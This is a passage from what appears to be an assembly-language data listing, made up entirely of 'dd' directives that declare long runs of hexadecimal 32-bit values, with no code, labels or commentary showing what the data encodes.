873F4F20h, 0AE904404h, 37F1DD00h dd 0C65E92A0h, 0B5770031h, 41936528h, 44A85733h, 4C0154F0h dd 694204EFh, 0C8F9F20Fh, 8926E470h, 0C093C252h, 0E378C8F4h dd 0B77B6A02h, 0C07268D0h, 58B41AB0h, 474EDA12h, 0C7CED1B4h dd 0CB02B0F5h, 0C30F62D0h, 2FFCA2C5h, 0F763E43Fh, 8D07F8E2h dd 708BDC72h, 17048D0h, 0FBBDAA0Eh, 0E8AFA58Ch, 997250BCh dd 9CC700F8h, 0D453D8ACh, 0D1195100h, 0E0934E6Fh, 79332DBCh dd 0E4097025h, 5502BA60h, 61B7DDA2h, 5CF2D8h, 56B645B5h dd 5241A42Fh, 6002CFCh, 0BBA3143Bh, 0B95AE0D5h, 11A00014h dd 0A2650534h, 0D2708D03h, 0E9C96A3Eh, 6EED9BD6h, 164D024h dd 17446356h, 3CA84375h, 0A28D80D4h, 0EB0E0Bh, 83A3149h dd 4244CBFh, 8154F800h, 0E713C273h, 28615DA0h, 81E2D584h dd 380A2F44h, 978BD0h, 0BB0FF8F6h, 0E6F473h, 0C740098Ch dd 0AE6E201Eh, 3267E800h, 967C430Fh, 0BDAC94B2h, 14461181h dd 405A2054h, 306E9E28h, 0B695B700h, 3C4BD099h, 0A5FA0590h dd 82967E63h, 40545C1Ah, 0F093BB40h, 234F0035h, 22F8E211h dd 76006C69h, 925F8C17h, 5C8633EAh, 0FA00749Fh, 4DCEF36Dh dd 10267CCh, 7C42831Fh, 1E40805Ch, 527704h, 37C1D338h dd 21C013C5h, 0C4B4FC0Eh, 0A5656E97h, 44A44B96h, 0E6080044h dd 3889B8ADh, 0BF05F8C5h, 65F40F21h, 2A12880h, 3AC20EDDh dd 0E080955Ch, 207E2A9Bh, 57DABF06h, 0FA186F2Eh, 44209708h dd 0F6AFBCC6h, 8818EB01h, 861CDFDAh, 10E92DCh, 47CA4829h dd 36FD4E97h, 35EB05A0h, 4D8FAF0h, 3B52209Dh, 9E04C9F0h dd 4A5CF598h, 35D81480h, 5F660F1Fh, 90A9E9F9h, 0CEE1CC80h dd 0FA74C859h, 0C81724ABh, 0BC905819h, 13DAB5B9h, 696A61Dh dd 0D8E53ABCh, 8C24BD2Ch, 52D7AF01h, 3193A6F7h, 181C90EBh dd 8500132Ah, 0D45DFC49h, 9732C7A1h, 0FBE57090h, 2A5FA41Dh dd 8ED77800h, 7A20588Ch, 853C91EEh, 80B77EE8h, 0A168BB5Ah dd 4C4C5B98h, 0AF0E001Fh, 0AA3A579Dh, 0A5640067h, 0A4A6E0C0h dd 1D000248h, 452D52F7h, 4A23DBD1h, 0BCCC8856h, 2E903703h dd 0F055F795h, 265DB63Bh, 3BD84B29h, 0C50B2479h, 0CB7B0F67h dd 0AF952162h, 96F96C82h, 7EECE464h, 0BC402AFBh, 272DDC90h dd 0F47A00E7h, 8C5FC420h, 0B65EFFh, 0C4A58289h, 198707C0h dd 10794818h, 2E7DB699h, 0E1F45B02h, 0A0FD35E3h, 0AAACEF94h dd 8FE21Bh, 4ECCD4FCh, 742E5E3h, 2BC2010Bh, 45C18FAh, 7E351737h dd 640BFF34h, 90009050h, 5A2600A0h, 428636Ah, 0B539655Eh dd 10DC9EC5h, 0FDB45200h, 0BBED139h, 841845Dh, 0FBA9EC00h dd 0E8914794h, 0D257FA80h, 0A05B58A3h, 10BB33Ch, 0B48FBA96h dd 73330E8Ah, 69D0014Ch, 0B17B659Dh, 0DCD65080h, 0DFF3C440h dd 8501995h, 2A02C469h, 8FB3CDC6h, 4706C140h, 2D8B100h dd 0CAB0AC2Eh, 0F8373AE8h, 0C13F48C8h, 0A253FF0Fh, 0D56F04A0h dd 0D0787719h, 0A1035AE4h, 35E4B3D3h, 0EC100F8h, 0BD1181Eh dd 0B61DD8C0h, 740C2A9h, 6A0499B3h, 9D1702A1h, 1552ABE2h dd 7B43B4E6h, 401C8470h, 259260E5h, 19683030h, 13F30076h dd 0B3C31BF5h, 0DE030B9Ah, 0CB014552h, 0FA39A04Dh, 0A7BCB4A9h dd 2FBD4490h, 8AC49D05h, 0C43679Ch, 903C141Ch, 2BA6695h dd 37A0752Ch, 1454EB7Eh, 0E0C84C93h, 0CE4D3AF0h, 67C0B580h dd 22E5772Dh, 2CE9AB24h, 0C41A1760h, 0F2D803CCh, 8114BA5Ah dd 578BF580h, 0D6851601h, 0D9E8F7FBh, 13887C40h, 9C7E01EEh dd 2AFA0ED2h, 0D5C86085h, 0D6123405h, 32804503h, 0ECEEEDFh dd 0DB1487ACh, 0E20784C1h, 0F957D097h, 0DE8CD1CBh, 0AA88007Bh dd 0D819F866h, 1F703B00h, 7D22F3BFh, 263005Eh, 454E0D4Ah dd 0D904D1C9h, 0D2FA48A9h, 0BC2804B5h, 25AF009Ch, 605498BEh dd 0D97CB000h, 77F3F0BFh, 0C2DC0E3Eh, 0AF81630Dh, 320152E9h dd 16950070h, 70222D53h, 3EF303FAh, 0E2444F5Bh, 32BFE880h dd 0D0E9A912h, 8B13E000h, 910C6548h, 0C6270054h, 362EDF44h dd 0B5D2BA00h, 22867277h, 0D0FA259Bh, 780A94CBh, 580352DDh dd 0A847AC00h, 1DFC93h, 14E53CD1h, 707FA392h, 9F0CD609h dd 0BA2040D0h, 403548CAh, 0F7084C21h, 0CF25BE31h, 3D084449h dd 0B7F70060h, 7BD81277h, 0F8D312BDh, 16A0E232h, 0F089E2FDh dd 1D9D65D4h dd 79638E44h, 5D0E7080h, 0E3644D19h, 8BBFCE1Fh, 0B9AD80FEh dd 0D3D4E084h, 0EFF51366h, 89349009h, 0AD02A9B0h, 0D7224C02h dd 0C0DA5Bh, 7D4A74CBh, 8AC6A291h, 8B6E2D00h, 7B83C519h dd 0E0230449h, 81CED4D8h, 0C4FA16DCh, 59C0A1CFh, 80244D03h dd 0D6483F84h, 4AAFDB0Bh, 0C900D8C4h, 0E026AA3Dh, 7DC11A9h dd 175F49A4h, 4E3E00B8h, 89C1C6F9h, 0E998E503h, 8925EC70h dd 1C86908h, 5F41474Ch, 0B6D8AA1Fh, 5550021h, 77721456h dd 23480B30h, 0AD710078h, 0D00ADCC2h, 7C093017h, 0B28E2741h dd 883E1924h, 0DD966A02h, 3AACE037h, 0E55F01E8h, 0C8E90FADh dd 4009F331h, 0E485D2D5h, 3B590EA4h, 20C03FCFh, 0F5A85627h dd 0A024CB00h, 48E3026Bh, 57D32FDEh, 5A2F38A0h, 0B450900Ah dd 440009B7h, 0F136D34Dh, 3C83AE17h, 6902C7C5h, 0F6223FD4h dd 1A40305Eh, 5123ADh, 12639639h, 0EB463AD7h, 7B444900h dd 58DAFF4Eh, 0CAD53881h, 2501CCD0h, 0C8203568h, 332E765Bh dd 0E3A38F1Fh, 0CCF8D54Ah, 0C000DD13h, 10755635h, 0A9D402CAh dd 76B50344h, 30E8E362h, 8CA0E19Dh, 6613CEB2h, 0B4E27B33h dd 9500F821h, 3D6FCED7h, 0BA98B9DDh, 37B2B180h, 0C1D51EE0h dd 5576F100h, 0E64A124Eh, 842D3C6Ah, 50A70BA5h, 0C5413E81h dd 0C086DB06h, 7000C3A6h, 253C194h, 0C65770Fh, 0A874914Ah dd 0CC1361B0h, 2490D3F9h, 13FF52Bh, 0B48E5E2h, 0DC9AE493h dd 9458955Eh, 0F8C583ACh, 4029E296h, 28F322FAh, 1641452h dd 0B8BF3FD6h, 70652ED3h, 3D898824h, 0A800878h, 0E048DFAAh dd 12D96F00h, 0FF422A72h, 0F5CE0F58h, 65E09C05h, 38E92D4Eh dd 0A095FEE8h, 32C5D1E8h, 0D4A2006Ah, 0FA6C3DBEh, 0C32653C2h dd 0DF18EB47h, 7AD67D8h, 0AB90404Eh, 4AA29F38h, 0F0423E16h dd 61C0588Eh, 6BC33270h, 19A031Dh, 44092D49h, 0BF1B00C0h dd 0B24766F8h, 0FB001A91h, 1EA6797Ch, 79B460FAh, 20F0B52h dd 94197133h, 27690803h, 9C200C37h, 13E6AC3Ch, 2E555613h dd 0C0ADCC00h, 26D74A17h, 40640C0Eh, 379D9369h, 63D8E500h dd 0ACD1B21Ch, 95FA0033h, 9BF94B05h, 6B3ED0C8h, 3FD39CC3h dd 18005816h, 0D5057024h, 0C7A57BA8h, 6456C260h, 50848834h dd 5A007CF2h, 0E98F8AC7h, 3A6AEF4h, 1D51960Eh, 55E2408Dh dd 6FD3E940h, 7407F605h, 0FC2034A6h, 99E2AC2h, 57B0AB8Ch dd 0C7001CDAh, 73AD4A95h, 1D8E886Eh, 9E3ACCD6h, 2C0405Ah dd 328C5EC8h, 1AE0C48h, 7906BB72h, 342DAA96h, 67C2F901h dd 6324D8ACh, 36C31F70h, 0B9EDB2C0h, 0BB4BB23h, 8006DA5Eh dd 4695EB82h, 4E84F479h, 188291BCh, 6C08406Ah, 9BAC12CAh dd 2A700268h, 0DCD23552h, 9049EF00h, 9780E476h, 0EBC42495h dd 0DAF9008Eh, 0DE914836h, 0AFCD6012h, 1FE898B4h, 0F8CAB2h dd 0ABC8C63Ah, 480052ACh, 7F2F1C9Fh, 0C1D049Ah, 4A39C1D4h dd 0FBE04980h, 9998974Ch, 0A908EEB0h, 67324217h, 12EE8CCh dd 1715D8BCh, 30F966ADh, 0FC604D9Eh, 52C28241h, 0D229030Dh dd 5611B0C7h, 0FA2027C2h, 534D2Eh, 730D40B2h, 57317948h dd 3904BA00h, 0CEF8A08Fh, 0CCB314CAh, 3A0098CDh, 2D9B3D42h dd 0E8B8B951h, 0EC20684Ah, 155FB6Ch, 77BBE2FEh, 0E9D749A5h dd 30A0256Bh, 0AD0ADD5Ch, 85487BE5h, 97034500h, 6ED8577Fh dd 35666056h, 0DD3AD894h, 232700B9h, 0FE049C22h, 0F0A2742Ch dd 31D70ADFh, 64AFA7h, 74C5058Eh, 2D3CFB67h, 45ED8037h dd 4F1497BEh, 2F5E0419h, 0A24DCA9Dh, 0C2AC0048h, 3E1BFB9Fh dd 124FCB4h, 4BEBBDC7h, 295C7841h, 0BB700068h, 0ABFDDEBCh dd 1903013Eh, 1E3278Dh, 0C829D9h, 6329F43Ah, 1E3C3189h dd 640CC5D3h, 0E950003Fh, 0A99F67A6h, 90E5D52Dh, 0F28310h dd 4C7894FAh, 133BA6B8h, 0AD019B01h, 0CEB72B50h, 98EC5830h dd 74B1983Ch, 75070951h, 0B8E87233h, 78F03ECFh, 6F44AC9Eh dd 20FA1347h, 16EF5BA6h, 37644100h, 873BFB48h, 9DD4035Ch dd 29D66284h, 0AC42F6A8h, 0A489BB4Eh, 395FD0ECh, 0EB05CA6Fh dd 0CD86667Fh, 0F546EC84h, 130E61EEh, 5D5B203h, 5C88AC92h dd 4D8726Bh, 96B1FFAFh, 0F988B479h, 0BC5D2BEFh, 3D05389h dd 0C2F3B35Ch, 50C645Bh, 0C0132901h, 0D5FD00DAh, 0BC3D941Ch dd 271E2F07h, 0A337E103h, 4400A079h, 752C1AEh, 63C71A2Dh dd 78A7A095h, 0A10F33E4h, 834CF8DEh, 0C9B82A9Ah, 0EC2042AAh dd 404C9CBBh, 290A971Ch, 1A189C72h, 2C3068D6h, 0BFB102DBh dd 2264D524h, 5348C4C0h, 0AC88FD5Bh, 0C0A84CFAh, 40F08992h dd 0D294B959h, 0B5A0FA05h, 0A0CCE424h, 1349B03Dh, 0EB7721h dd 0E4DAC8B9h, 0D404D644h, 654FFA0Ch, 5569D0C0h, 0D062F329h dd 0B8F7AB01h, 0DC020441h, 0DA38EBDFh, 0A2340288h, 0C0A910CBh dd 9666F770h, 0E09940E0h, 2B7387E1h, 1E09F300h, 0E5FA57D1h dd 0A3BF0AA4h, 80F83C52h, 0CE124770h, 952C9C36h, 0EBD34ADh dd 67CDE9C5h, 25E0FEFFh, 58AF01B2h, 9616E0B7h, 1B8E2D0h dd 1EF10692h, 8033F781h, 1C106007h, 70DAD754h, 704D2041h dd 1D4EB200h, 347A472Ah, 0B49095E3h, 5B01FC7Eh, 54996502h dd 0E4DE5F47h, 0AF7101E4h, 27E2A346h, 0FEE5C091h, 57894502h dd 40C930CDh, 74521A94h, 0BE0107A1h, 0FB7CB46Bh, 8E00A444h dd 84320A60h, 0EB703Eh, 207E2FDDh, 72E25AA4h, 0C8656B09h dd 0FD14829Fh, 0A93221C6h, 99478E8h, 0ACCA402h, 0B82834E4h dd 38D19344h, 5600DEFBh, 0BA410EBBh, 0A8010BF6h, 0D049FED8h dd 30DDCEE6h, 48B7DBF8h, 9E0809h, 3AE7F050h, 0AF00B677h dd 0F196B445h, 0AEFD63h, 0FA1D1341h, 0F9A2552Ah, 48A0D022h dd 183070D3h, 0F387C5F8h, 231EC201h, 0D1F99E3Fh, 5A275C7Dh dd 2F528C20h, 6F138B12h, 3409ABEDh, 0A03607AEh, 0F33FD070h dd 0CD8F0227h, 955DB148h, 6619C74h, 0BC7D346Ch, 0F425B300h dd 0D7781E14h, 3BEDA400h, 911F7048h, 0B0D4277Ah, 0CD60F02Fh dd 0BBF5FFCAh, 535DA000h, 7955BC14h, 0FAB1172Ch, 0E6AC4133h dd 62D84F7Bh, 2ED40424h, 64C0F5D7h, 1306A96Dh, 20AF62D9h dd 8D17C7B8h, 713B5C00h, 23D6DA56h, 7440045h, 8662547Bh dd 0F9275B80h, 0AD2C18A9h, 4B962F78h, 54001892h, 0FCFE19Dh dd 1BE37200h, 25997B89h, 86EB01A7h, 6BD9D4A2h, 0FA7C6049h dd 610066E4h, 0C9F177E2h, 32457Fh, 0A6549F63h, 81109018h dd 0C24B7900h, 0AA016017h, 912900D1h, 0DC28F65Fh, 5C74FDC0h dd 8E36403h, 0D91011h, 0CE030D31h, 0AA8D3AF6h, 620F890Eh dd 36405D21h, 1BE6BA5Fh, 99625F0h, 0A452B3E0h, 0CE695Ch dd 41CC7279h, 16B612Ah, 8EAAFC12h, 0B84E13CBh, 586AD821h dd 105E305Eh, 3AF4744Bh, 57050A15h, 0F591A9h, 6A732944h dd 3003E018h, 0F7CDED03h, 1C49032Eh, 80FACB62h, 57481118h dd 0F82BF851h, 0D62700BCh, 9222BA37h, 0AF50A5E6h, 4E634698h dd 90E8FA29h, 7768E59h, 4924CB2Dh, 0A15750CDh, 280134BAh dd 35D99E02h, 8AE01CB8h, 19F1005Eh, 3870874Ah, 333A1B0Ch dd 3F8083D5h, 396F4281h, 76860AB9h, 10AFF172h, 813E7C03h dd 8B474183h, 0E6810E49h, 0B07E1675h, 2EB514FAh, 0A801C675h dd 736B4282h, 418092F1h, 2FD82DF8h, 11303338h, 0A44D69DAh dd 752C0F53h, 13402B9Dh, 5E7D78B1h, 0A33EFC00h, 0FAAF3430h dd 8F1006D5h, 5181398Eh, 68166C00h, 5AE0C715h, 76630627h dd 2180E48Bh, 0FBF6F903h dd 0A0057559h, 604757B2h, 1F9DB95Ah, 0F01C367h, 6273F2ACh dd 39807F39h, 15F1FE20h, 0C10077EFh, 0A2EC0CB2h, 71D9BFh dd 2CC7E69Bh, 0BC97F1D0h, 4870D0h, 0B4AC038Eh, 0FE5A57EEh dd 0ECEC547Bh, 0A9870C4Bh, 3116AA3h, 2A26560Eh, 0A1C843EAh dd 0BC193E6Dh, 9DF65D00h, 16025E88h, 806339C8h, 464C6518h dd 8A707E90h, 94D81D1Fh, 0F036182h, 3B6044A1h, 0F380EA45h dd 3BE68246h, 0CE5411E8h, 9A0072B8h, 74F23640h, 95D52Bh dd 52C8B48Dh, 31835BA5h, 0F506347Bh, 54E6761Ah, 587334C1h dd 40E40041h, 8C746111h, 82006090h, 0BEF17BFAh, 305AF74Ah dd 66893CA4h, 0D87FD527h, 0A359500h, 88A3B3CFh, 543C0085h dd 0E4B04597h, 873D6F38h, 0F6EF00F5h, 84944ACEh, 497216h dd 0CB40D577h, 259ED2FCh, 0C31C2A78h, 4340AA53h, 4AEC2FE6h dd 3179617Dh, 0FD06939Ah, 0C305D03Bh, 0AD565F06h, 217C19h dd 3013AC55h, 0F07ECAECh, 3C66C002h, 3BF7E6h, 14CB2568h dd 0A63080E9h, 82FAB886h, 94264C0Dh, 2FE31960h, 0F86031C1h dd 6DFAD11h, 9B8E3963h, 86D4E500h, 3AB43893h, 9802607Ch dd 3BCEEEFCh, 96D6E0FDh, 4D470C11h, 1599D37Fh, 62812560h dd 0ECEBCDFh, 6538F954h, 591A1740h, 91008786h, 0DDA4EEBh dd 0D1B86Dh, 3DCE9D3Fh, 4A9F78B4h, 0A98240DCh, 0AF13F5E3h dd 0B1009168h, 0C0FB6E34h, 0FD06B888h, 583E267Bh, 159E0021h dd 8EA2CB94h, 60027D45h, 1B2A8317h, 0FC98046h, 307A698h dd 0B69ECF56h, 0D8069B37h, 11FEE3A8h, 20B90771h, 7022A798h dd 79EEE06Ch, 2115D818h, 33DD921h, 6AA52A1Bh, 0CCB0A7A0h dd 0EF026BA6h, 0FCD5498Fh, 0DFD8983Ch, 0C62B00D9h, 44DB1D42h dd 88149FABh, 3851E3h, 0FCC99D66h, 0C0F930CCh, 265C09E9h dd 91064AE1h, 77196E37h, 86A80051h, 14765AABh, 0D0071C5h dd 2F01A37Eh, 0C0FE30F2h, 0A0817241h, 0A4726E99h, 8729D179h dd 0E00094DBh, 74EC2CC1h, 0DD310F96h, 2B4008F3h, 0A53F8807h dd 16124D14h, 8AF987E8h, 6B8AC50h, 76471E3Ch, 0A43D8064h dd 0FAA7E3E4h, 783FCE06h, 3614492h, 0A23969C3h, 23CBCF99h dd 83204900h, 41214F5Ch, 22F495h, 0CDBC1CA4h, 0CFC729FDh dd 0C1FC3030h, 168EDA52h, 0BC2A0Bh, 34FD7FEBh, 7003F2DDh dd 2850C243h, 906FA0BBh, 7967126h, 7F9A0513h, 27FA800Fh dd 994835FBh, 9FE21474h, 0E073CFC8h, 4B8E78BDh, 0A2B20112h dd 0FFE38444h, 986D101Fh, 0A48800B3h, 0F5119431h, 0DA00CA3Fh dd 0FE9B39B9h, 78F6A8C6h, 0B6F2009Ah, 0CC3EA48Fh, 73FCBCEAh dd 9E785200h, 4DB3B77Fh, 79836C75h, 96050630h, 0B6A83C24h dd 0A8489808h, 0DDA70140h, 26127FC3h, 0CC22C5h, 0F4840691h dd 4825CE10h, 0C894E0C4h, 63FBE501h, 0EC331965h, 0D7F2D5E8h dd 0C8413F00h, 52261720h, 25931457h, 96281CCFh, 91A30093h dd 0FEECD80Eh, 5761DB72h, 3F6C2B89h, 0A53F4h, 37BB9095h dd 0D1B31202h, 61BCC500h, 9ED09A5Ch, 0DCA14988h, 9C1D1615h dd 1A300071h, 9870D15Bh, 0C507E5FEh, 48ADA8B7h, 4FDB7BB1h dd 1F636980h, 6A011188h, 8CD8E509h, 109480E7h, 4939BA6h dd 0B09DA009h, 27FD833Ch, 55DD6100h, 1BD33FBEh, 75FD0037h dd 0B60AC782h, 0EE50534Dh, 2D053AFCh, 0F07C9880h, 6D310A80h dd 3CB00B6h, 0D1E8D97Eh, 0C06FBFDh, 0A825DF19h, 0FFC500A8h dd 9914E9CCh, 0B339A1A4h, 3988609Ah, 60C44B77h, 6AE1B955h dd 0ED002445h, 0B9F73473h, 14FACE4h, 0BA50DD37h, 89C15D25h dd 84136B90h, 0F522E2B8h, 0CA259490h, 0B60651DFh, 1893C2Ah dd 9F1083E6h, 8095B0D4h, 2F7E0680h, 7807CBBDh, 91C20369h dd 530C9723h, 921DB2D7h, 11559098h, 80262539h, 3AC7EB37h dd 7CD78AB2h, 8FBA0193h, 78A4AE57h, 23C44998h, 2A450038h dd 293CA86Ah, 0CC0406D2h, 294CA578h, 7B584390h, 10BA8968h dd 3A6FC35Ch, 98602D97h, 187EF5D0h, 0BAC7B0DDh, 9970FA59h dd 0A0B646F9h, 39680B4h, 7FAB6319h, 0C7D1BDBBh, 2354204Dh dd 1D939F01h, 563E4383h, 318061BEh, 0E01ED3EAh, 405B07Ah dd 2C44AA32h, 0F9A8D801h, 40966CE7h, 9474102Fh, 143CE612h dd 0D12408A4h, 6ABF60A4h, 990C9360h, 909B43B9h, 788403BBh dd 8BCBF2D5h, 0C7344000h, 0F7B39E6Bh, 3CD3B0EFh, 68B9B4A8h dd 0E033638Ch, 197FE851h, 48BDE301h, 4A991CD9h, 198814E4h dd 0C162DBA3h, 82FBFCA7h, 7660E303h, 99ED2693h, 0E021D272h dd 1C9C80F6h, 4127EB3h, 0B1DB96ABh, 51648002h, 0B4A49D77h dd 0C06B4A09h, 0A1B090C4h, 0A22105FAh, 438019EAh, 0E68CD7CCh dd 4B8B4FB8h, 3EA1B614h, 0C68FE0h, 8E65E3FFh, 3DE20414h dd 807BCF63h, 29E99BE2h, 2E4E8B5Ch, 0B6451CD0h, 388214h dd 7FE83917h, 16972BC3h, 0E832396h, 33462F9Eh, 9D0031FFh dd 1A620F58h, 1C3ADDACh, 93BC4D6Bh, 0E880207Dh, 0A107F1C9h dd 0DB4CCAFEh, 299D5D50h, 0C8C101FCh, 46037327h, 0F304300Ah dd 1075682Eh, 0C452912h, 8C015F9Ch, 4920162Fh, 35415900h dd 0B4F2CC00h, 0A407D78Dh, 0E98000FAh, 6B16EC3h, 772969F9h dd 4A0DC8BBh, 0E3E3B179h, 0B030A5A5h, 1701BDBAh, 21DB2A3Dh dd 0C40AE444h, 3100D5DFh, 0A3359172h, 41439FEh, 0A12A8F28h dd 0D178807Ch, 24631507h, 0B827C951h, 0BB47E9h, 0C333A511h dd 0A0D5E050h, 266B7F0Bh, 0A7C499CBh, 482041D1h, 57A203FBh dd 0EFA3E4FDh, 6C6194B2h, 2F6092A8h, 4451DC08h, 103F40FBh dd 4CD29941h, 24027474h, 93A09AB0h, 8C648C2h, 0D5796D00h dd 0AFEEF962h, 693F02CBh, 8BD73206h, 82ABC4E8h, 0CD1103E8h dd 6F004B3Eh, 14E0AC11h, 0BE7E4C33h, 9D0DCC1Dh, 40FEC94Eh dd 9088A30Ch, 58B4B09Ah, 0FFC0E02Ah, 3837956Eh, 0B277AEE8h dd 29938F03h, 0B44ADA3Ah, 2FD03C80h, 96A104A6h, 826CD91Eh dd 84517B18h, 0BD4292BAh, 81F9BC08h, 558D5230h, 611CC1D1h dd 5122EDB2h, 604688BCh, 0F1F8C3Bh, 3B562Eh, 59DE1402h dd 0C9B96A9h, 18153616h, 56052231h, 31C6A1B1h, 0C903000h dd 120FB8B7h, 4F1D528h, 0C0A06E84h, 50F7C6D0h, 0A485090h dd 31360DE0h, 65F839E1h, 0D8E600A9h, 0E57A3CEAh, 9C045ABBh dd 0EB4A26F6h, 30E328C1h, 0EE1D0862h, 0E038C0C7h, 6C8874F2h dd 0D1F5AD0Fh, 0A139EC23h, 1E9C3ED4h, 9DC37A00h, 6CABCC3Ch dd 0CB52B200h, 0BF8F65BEh, 0AC145C91h, 258CA23Ah, 2E6111C6h dd 108D7800h, 0F8D62296h, 0EA330464h, 809038CEh, 60CD5714h dd 0FBC15307h, 1D1A829h, 84E48EE1h, 0B4631F1Ah, 9F393FEh dd 44007BA7h, 5E22666h, 0CD1961C5h, 1B6FD441h, 0BAF45352h dd 0B1FAB2h, 3C2D982Ah, 90AC67BCh, 48522502h, 0E51DB88h dd 0BE734F43h, 848B5BF0h, 1E01863Bh, 0B46850CBh, 5E40E170h dd 401C4B36h, 863D1E30h, 38009920h, 34966A2Ch, 4A9BE459h dd 1209FCFFh, 4410A907h, 0B0A22B4h, 7F6CC135h, 4E903C03h dd 0E77795C8h, 0F3280D01h, 0AA97E040h, 24B84860h, 0C5CCCC26h dd 2495CEh, 0D09F21C0h, 8CB032D2h, 7FC86244h, 0C161013Fh dd 67EA66B3h, 0FB80E7BAh, 350C24AFh, 0C1D21989h, 0EFBF009Ch dd 0BB821F8Eh, 9407DAF0h, 0BD55FD43h, 66238932h, 0F0DD00F0h dd 9157EE1Bh, 2701B80Fh, 4D6DE163h, 518F7D7Fh, 79094B6Ch dd 6FA69810h, 0B3181AFAh, 0C44963DBh, 0D52516A2h, 7C051435h dd 7A557180h, 0CF09339Ch dd 80D2FB21h, 0C9142E50h, 6C1B054Ch, 8085FDF6h, 0B0A04888h dd 875C3348h, 30001ADAh, 7DEA3C8Eh, 0B7A00BAh, 8FB469C3h dd 0D0E24FCBh, 79A85B3Dh, 909B8606h, 914E3Eh, 6C7AE6Fh dd 0A0328E6Bh, 0B4BC907h, 54100D9Ch, 6CF913Eh, 1910B99Bh dd 7500D9D1h, 0BC9F805Ch, 0EA7D902Ch, 14407153h, 0F8ADF9E8h dd 874A351Eh, 0E00EBABBh, 0D3A61065h, 0DB99A07h, 1440237Ch dd 2EA7F196h, 0C183CC8h, 0A1D10FC7h, 8CA82FE6h, 8F7AA68Bh dd 52F9A30Eh, 0C730E019h, 0E59AA9Fh, 0B1FD3499h, 0C2B64C80h dd 2511416Ch, 0CA00E430h, 7144F74Bh, 5907EF8Dh, 0CB78403Bh dd 0F0B1F491h, 0C6B9BAD7h, 81962244h, 0B8D09A0Eh, 0DDE982D6h dd 207C4140h, 0C1DC3030h, 302B0DD8h, 46980E3h, 6D082169h dd 500100BEh, 772AB0ABh, 0E4989987h, 84663C28h, 61781930h dd 5C9B2Dh, 0A5C7CDDBh, 12D1A2D3h, 4D25511Eh, 50201E12h dd 395D0E91h, 0E3009D8Bh, 0EBBD027Ah, 934C3BD8h, 21D70AC0h dd 1B82D0BFh, 41CF7E3h, 91948068h, 1A1806B7h, 1151C91Eh dd 36BB00CDh, 0B2231DBFh, 0A80019D2h, 0C938DD7Eh, 266C51EFh dd 19F459DCh, 734B8E13h, 363200B0h, 884F1BCh, 112902B5h dd 26FC1B7h, 94386C60h, 86CA1401h, 0CE25837Ah, 0BC2CF473h dd 944009FBh, 2B4E6000h, 7C484D43h, 9CE9809Ch, 3F8F06h dd 0BE535967h, 0A5EBFD41h, 0E4227002h, 0C03AB987h, 0E2D536C8h dd 0FC3C00E8h, 429C1E7Ch, 0BB2437B8h, 15013C45h, 3E872998h dd 4400A02Dh, 71A7B5D3h, 0A1E31D8h, 0B307422Ah, 7550A8D0h dd 34789DCCh, 314793h, 0ADFDEB9Ch, 2513A1B3h, 30123BFAh dd 4BF7A4CCh, 0CC1001EBh, 609BA25Bh, 3E50AEA4h, 782521F8h dd 631411A0h, 8A147439h, 510024DBh, 0D353DA7Bh, 0A45C78CEh dd 0EC00D27Ch, 154E25D4h, 35C9152Eh, 0DC011CB1h, 929FE3C0h dd 712C431Ch, 317247D8h, 6BEC5EE2h, 9646B800h, 39C85908h dd 4BCA08Fh, 31752429h, 2FA4405Ch, 9279C4FEh, 0D15FF903h dd 0C8EBD7A9h, 4E52B501h, 5C242302h, 0B0353690h, 0D0293224h dd 0E810F65h, 0E4CCA745h, 1C10774h, 1067977Ah, 5FDFB5CFh dd 0B32F9A09h, 263986D1h, 1F590039h, 0F09B9836h, 1E002B1Ah dd 63E10448h, 59ECA5Fh, 3DE387D0h, 0C940C250h, 0B4258823h dd 6019D4B4h, 0A36F1975h, 89026B4Dh, 9DEC7356h, 8C9B8AB9h dd 0F7B61E01h, 1080A8C7h, 0FD44FCEBh, 101FE32h, 0B6986C06h dd 4081B3A1h, 19A3BCBDh, 0DE5980D4h, 9B38AC61h, 0A970F935h dd 0C37100F1h, 702869A9h, 462B003h, 85C42540h, 20001E4Ch dd 793E058Dh, 0B9F8007Bh, 5C2068F2h, 2E2FFF2Fh, 27D5458h dd 0DB9EC97Dh, 24000C5Ah, 37A7CF77h, 2EE87A2h, 5B11F198h dd 0B440B0FBh, 35CE316h, 22B49448h, 0AC9801FAh, 0A3C80BF4h dd 0D82DDBh, 482C659Dh, 7F87E963h, 6C220053h, 0C6553B8Eh dd 8F17EA52h, 0E8306EBDh, 4C4189E6h, 3C02D0B7h, 0C465CC38h dd 6FF05072h, 693DBD00h, 0D078B5Ah, 26EA13A8h, 0FDAC88D1h dd 1CB4286h, 0B926BB91h, 942088B3h, 939F0648h, 107DC106h dd 0BE2D3313h, 26360480h, 3A16304Bh, 3811E549h, 0CB06A700h dd 5B5020D6h, 4C80B83Fh, 9C034CDh, 0DB8202C1h, 2D3CB612h dd 0A1552400h, 51C27EC6h, 0E860F17Fh, 40762E33h, 0A3216098h dd 11003A8Ah, 1528ED96h, 110C892h, 573159C5h, 23A9CF86h dd 616D070Ch, 0EC901167h, 7F13F3h, 2ECC9F17h, 216CE75Bh dd 0B1505472h, 962C1DD8h, 9102C815h, 60BDB2BEh, 4051E41Ch dd 33503192h, 0F545CCA0h, 0ADE52086h, 3B5C404Eh, 696FC0B8h dd 3E3ED57Eh, 7381976Ah, 4C5F7531h, 7C11CC3Ah, 0F827634Ah dd 0F5804555h, 7D4B59B0h, 0B99F3C3Ch, 0C1FEC900h, 5C2F6EDCh dd 8E36FD01h, 0C398566Dh, 0A740AFDFh, 0A14497h, 969ACEF7h dd 6C40B1EEh, 225BC116h, 94393840h, 0F231B3EFh, 141F073h dd 0F61AA8B1h, 20B628BFh, 0BC3166F8h, 0D9F9D0ABh, 908DA460h dd 0A9E0C0CCh, 4D5CA55Bh, 947A7827h, 2EA82864h, 20FA05F0h dd 0A2E3258Dh, 0D71F0198h, 0C481299Eh, 91006029h, 0E21C2F7Fh dd 4E691789h, 0FF4EE58h, 0AAF7021Eh, 7F19D5A0h, 0CF6926F0h dd 2F880941h, 0D8012118h, 0E4391C27h, 0E95F1903h, 3DB8F879h dd 0DB22DA65h, 96073859h, 0F9C53Bh, 10A054D4h, 0FA4D355Dh dd 0CB00B5E4h, 8393CC31h, 949677DAh, 593C4054h, 0FC0341F2h dd 794AC634h, 20712DCCh, 0DC59D0A0h, 4E000D3Fh, 0F8D46584h dd 3A1A712h, 6ABEDF8Ch, 3BF32893h, 78CF60EFh, 61C3509Dh dd 0B7E754Ah, 0A86E3851h, 270058C4h, 0CA1C0597h, 198470Ah dd 9E462542h, 0F631D350h, 